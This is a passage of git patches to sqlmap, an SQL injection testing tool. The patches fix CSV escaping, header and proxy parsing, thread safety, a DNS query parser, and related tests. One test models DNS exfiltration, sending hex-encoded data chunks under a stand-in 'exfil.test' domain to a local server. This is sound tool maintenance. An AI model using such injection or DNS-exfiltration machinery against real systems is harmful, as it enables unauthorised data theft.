socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) @@ -2968,10 +2974,11 @@ def findLocalPort(ports): except socket.error: pass finally: - try: - s.close() - except socket.error: - pass + if s is not None: + try: + s.close() + except socket.error: + pass return retVal @@ -4233,7 +4240,12 @@ def removeReflectiveValues(content, payload, suppressWarning=False): # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) + + # Note: guard against an empty needle (payload composed solely of word chars), as + # str.replace("", X) would insert X between every character and explode the page + _stripped = re.sub(r"\A\w+", "", payload) + if _stripped: + retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) @@ -4552,14 +4564,18 @@ def safeCSValue(value): 'foobar' >>> safeCSValue('foo\\rbar') '"foo\\rbar"' + >>> safeCSValue('foo"bar') == '"foo""bar"' + True """ retVal = value + # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an + # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose + # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"') if retVal and isinstance(retVal, six.string_types): - if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): - retVal = '"%s"' % retVal.replace('"', '""') + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): + retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -4591,8 +4607,6 @@ def randomizeParameterValue(value): retVal = value - retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) - def _replace_upper(match): original = match.group() while True: @@ -4614,9 +4628,15 @@ def randomizeParameterValue(value): if candidate != original: return candidate - retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) - retVal = re.sub(r"[a-z]+", _replace_lower, retVal) - retVal = re.sub(r"[0-9]+", _replace_digit, retVal) + def _randomize(segment): + segment = re.sub(r"[A-Z]+", _replace_upper, segment) + segment = re.sub(r"[a-z]+", _replace_lower, segment) + segment = re.sub(r"[0-9]+", _replace_digit, segment) + return segment + + # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters; + # deleting (or randomizing) the %XX would change the value's decoded content and byte length + retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal)) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') @@ -4838,8 +4858,8 @@ def findPageForms(content, url, raiseException=False, addToTargets=False): data = "" - for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)): - data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER) + for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)): + data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER) data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) @@ -4904,6 +4924,10 @@ def getHostHeader(url): >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' + >>> getHostHeader('http://[::1]:8080/vuln.php?id=1') + '[::1]:8080' + >>> getHostHeader('http://[::1]/vuln.php?id=1') + '[::1]' """ retVal = url @@ -4911,10 +4935,11 @@ def getHostHeader(url): if url: retVal = _urllib.parse.urlparse(url).netloc - if re.search(r"http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) - elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): - retVal = retVal.split(':')[0] + # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are + # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports + # (e.g. '[::1]:8080') as required by RFC 7230 + if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal @@ -5010,7 +5035,14 @@ def incrementCounter(technique): Increments query counter for a given technique """ - kb.counters[technique] = getCounter(technique) + 1 + # Note: the read-modify-write must be atomic since worker threads increment concurrently; + # guard with the shared 'count' lock when available (it is absent in isolated/doctest use) + lock = kb.locks.count if kb.get("locks") else None + if lock is not None: + with lock: + kb.counters[technique] = getCounter(technique) + 1 + else: + kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ @@ -5541,8 +5573,10 @@ def parseRequestFile(reqFile, checkParams=True): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") - # Note: overriding values with --headers '...' - match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + # Note: overriding values with --headers '...'; the lookbehind prevents the key + # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host' + # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header + match = re.search(r"(?i)(?' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL + values.append(None) + else: + values.append(getUnicode(info["values"][i])) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(value)) @@ -708,8 +716,8 @@ class Dump(object): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") - elif conf.dumpFormat == DUMP_FORMAT.CSV: - dataToDumpFile(dumpFP, "\n") + # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise + # the file ends with a blank line and a later --start/--stop append injects an empty record dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) diff --git a/lib/core/option.py b/lib/core/option.py index f1a688293..6644cf08e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -438,19 +438,27 @@ def _setStdinPipeTargets(): return self.next() def next(self): - try: - line = next(conf.stdinPipe) - except (IOError, OSError, TypeError, UnicodeDecodeError): - line = None + while True: + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + except StopIteration: + line = None - if line: - match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) - if match: - return (match.group(0), conf.method, conf.data, conf.cookie, None) - elif self.__rest: - return self.__rest.pop() + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + # Note: a non-empty line that is not a target (blank line, comment, + # non-parameterized URL) must be skipped, not treated as end-of-input + continue - raise StopIteration() + # end-of-input (or read error): drain any queued targets, then stop + if self.__rest: + return self.__rest.pop() + + raise StopIteration() def add(self, elem): self.__rest.add(elem) @@ -1402,7 +1410,9 @@ def _setHTTPAuthentication(): conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return elif authType == AUTH_TYPE.NTLM: - regExp = "^(.*\\\\.*):(.*?)$" + # Note: the DOMAIN\username part is colon-free, so the password group takes the full + # remainder (a greedy first group would otherwise swallow colons inside the password) + regExp = "^([^:]*\\\\[^:]*):(.*)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: @@ -1460,14 +1470,14 @@ def _setHTTPExtraHeaders(): if not headerValue.strip(): continue - if headerValue.count(':') >= 1: + if headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] + elif headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) - elif headerValue.startswith('@'): - checkFile(headerValue[1:]) - kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -2520,9 +2530,11 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): - _, type_, address, port = match.groups() - conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format + # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, cred, address, port = match.groups() + conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) def _setTorProxySettings(): if not conf.tor: @@ -2845,7 +2857,7 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: - errMsg = "option '--csrf-url' is incompatible with option '--threads'" + errMsg = "option '--csrf-token' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: diff --git a/lib/core/settings.py b/lib/core/settings.py index b34db55c2..5b04f6bc8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.143" +VERSION = "1.10.6.144" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -369,7 +369,7 @@ SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES)) @@ -1048,6 +1048,11 @@ for key, value in os.environ.items(): globals()[_] = int(value) except ValueError: pass + elif isinstance(original, float): + try: + globals()[_] = float(value) + except ValueError: + pass elif isinstance(original, (list, tuple)): globals()[_] = [__.strip() for __ in value.split(',')] else: diff --git a/lib/core/shell.py b/lib/core/shell.py index b4ae92ab3..8fde14564 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -40,6 +40,9 @@ try: except: readline._readline = None +_atexitRegistered = False +_activeCompletion = None + def readlineAvailable(): """ Check if the readline is available. By default @@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None): readline.parse_and_bind("tab: complete") loadHistory(completion) - atexit.register(saveHistory, completion) + + # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the + # currently active shell. Registering a fresh atexit handler per call would make every shell + # write that one global buffer to its own path at exit, clobbering the others. Instead register + # a single handler that saves only the shell active at exit. + global _atexitRegistered, _activeCompletion + _activeCompletion = completion + if not _atexitRegistered: + atexit.register(lambda: saveHistory(_activeCompletion)) + _atexitRegistered = True diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 97bac9bb2..a8c867a5d 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -199,4 +199,9 @@ def send_all(p, data): sent = p.send(data) if not isinstance(sent, int): break + if sent == 0: + # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable; + # back off briefly instead of busy-spinning at 100% CPU until the child drains it + time.sleep(0.01) + continue data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index 74d9d7adb..b6666807f 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -412,7 +412,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -473,7 +473,9 @@ def _resumeHashDBValues(): kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings - kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed + # "False" is a truthy string and would wrongly mark xp_cmdshell as available + kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): @@ -619,7 +621,8 @@ def _createFilesDir(): if not any((conf.fileRead, conf.commonFiles)): return - conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) + conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname)) if not os.path.isdir(conf.filePath): try: @@ -641,7 +644,9 @@ def _createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) + # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a + # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.dumpPath): try: diff --git a/lib/core/testing.py b/lib/core/testing.py index 0969c0eab..a1773789c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -11,6 +11,7 @@ import logging import os import random import re +import shutil import socket import sqlite3 import subprocess @@ -212,6 +213,7 @@ def vulnTest(): if "" in cmd: handle, tmp = tempfile.mkstemp() os.close(handle) + cleanups.append(tmp) cmd = cmd.replace("", tmp) os.environ["SQLMAP_UNSAFE_EVAL"] = '1' @@ -237,6 +239,11 @@ def vulnTest(): except: pass + try: + shutil.rmtree(tmpdir) + except: + pass + return retVal def apiTest(): diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py index 24ee9d6fd..dfa27ab27 100644 --- a/tests/test_identifiers_output.py +++ b/tests/test_identifiers_output.py @@ -60,15 +60,22 @@ class TestSafeCSValue(unittest.TestCase): ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted ('he"y', '"he""y"'), # contains quote -> doubled + wrapped ("a\nb", '"a\nb"'), # contains newline -> quoted + ('"a","b"', '"""a"",""b"""'), # value that begins+ends with a quote must STILL be escaped + ('"', '""""'), # lone quote -> doubled + wrapped ] def test_table(self): for inp, expected in self.CASES: self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) - def test_idempotent_on_already_quoted(self): - once = safeCSValue("a,b") - self.assertEqual(safeCSValue(once), once) # already starts+ends with quote -> unchanged + def test_csv_roundtrip(self): + # the real invariant: a dumped cell must come back as exactly ONE field with its original + # content (a value that begins+ends with '"' must not be emitted verbatim - that splits it) + import csv + for value in ("foobar", "foo,bar", 'he"y', '"a","b"', '"', 'a"b"c'): + line = safeCSValue(value) + fields = next(csv.reader([line])) # csv.reader accepts any iterable of text lines (py2+py3) + self.assertEqual(fields, [value], msg="round-trip failed for %r -> %r" % (value, line)) # (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) From f5ee4028e4868670266d1c658c9a58d2851a354a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:19:55 +0200 Subject: [PATCH 050/165] Fixes CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_dns_engine.py | 23 ++++++++++++++++++----- 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 81998aae8..85fb9356e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -61354a9fbf94b67744b3a850475ff8ec7408979f23e2709d1f15b4642021d673 lib/core/settings.py +c041ad865180b79c4b3e798530638d00ca1f9fa14e4c9e1506a2bf7c8c811b9f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -587,7 +587,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns_engine.py +7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py 703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5b04f6bc8..4c57af444 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.144" +VERSION = "1.10.6.145" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index efb2ac881..bce8bff6a 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -52,8 +52,6 @@ from lib.request.dns import DNSServer import lib.techniques.dns.use as dnsmod import lib.techniques.dns.test as dnstestmod -DNS_PORT = 5355 - def _build_query(name, tid=b"\x12\x34"): pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" for label in name.split("."): @@ -63,15 +61,23 @@ def _build_query(name, tid=b"\x12\x34"): class _HighPortDNSServer(DNSServer): # same logic as the real server (parse/pop/run), just bound high so no root is needed - def __init__(self, port): + def __init__(self, port=0): self._requests = [] self._lock = threading.Lock() self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("127.0.0.1", port)) + self.port = self._socket.getsockname()[1] self._running = False self._initialized = False + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + _CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} _KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} @@ -81,11 +87,18 @@ class _DnsCase(unittest.TestCase): @classmethod def setUpClass(cls): - cls.server = _HighPortDNSServer(DNS_PORT) + cls.server = _HighPortDNSServer() cls.server.run() while not cls.server._initialized: time.sleep(0.02) + @classmethod + def tearDownClass(cls): + server = getattr(cls, "server", None) + if server is not None: + server.close() + cls.server = None + def setUp(self): self._saved_conf = {k: conf.get(k) for k in _CONF} self._saved_kb = {k: kb.get(k) for k in _KB} @@ -156,7 +169,7 @@ class _DnsCase(unittest.TestCase): host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(3) - c.sendto(_build_query(host), ("127.0.0.1", DNS_PORT)) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) try: c.recvfrom(512) finally: From 4ba8edef1d321f23642bb0b7f97c33cf595a1895 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:28:30 +0200 Subject: [PATCH 051/165] Minor update --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/request/dns.py | 66 ++++++++++++++++++++++++++++++----------- 3 files changed, 52 insertions(+), 20 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 85fb9356e..9a8211888 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c041ad865180b79c4b3e798530638d00ca1f9fa14e4c9e1506a2bf7c8c811b9f lib/core/settings.py +4df19d4b5ce21922573c387d9f4a2a228a44a4f7c07c9a0d4c38048b04e1912b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py +676d59c53de4d119f79a8b32c4d9282c1e48833dca688f743d8a0c06433aa502 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4c57af444..8261a846a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.145" +VERSION = "1.10.6.146" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index ffd389a4d..0b0d6d291 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -34,18 +34,42 @@ class DNSQuery(object): self._query = b"" try: + # Minimum DNS header length is 12 bytes, followed by at least a + # root label terminator. Shorter packets are malformed/no-op. + if len(raw) <= 12: + return + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 - j = ord(raw[i:i + 1]) + parts = [] - while j != 0: - self._query += raw[i + 1:i + j + 1] + b'.' - i = i + j + 1 + while i < len(raw): j = ord(raw[i:i + 1]) - except TypeError: - pass + + if j == 0: + break + + # Compression pointers are not expected in the question name + # here. Treat them as malformed instead of walking arbitrary + # offsets or creating a partial query. + if j & 0xc0: + parts = [] + break + + i = i + 1 + if i + j > len(raw): + parts = [] + break + + parts.append(raw[i:i + j]) + i = i + j + + if parts: + 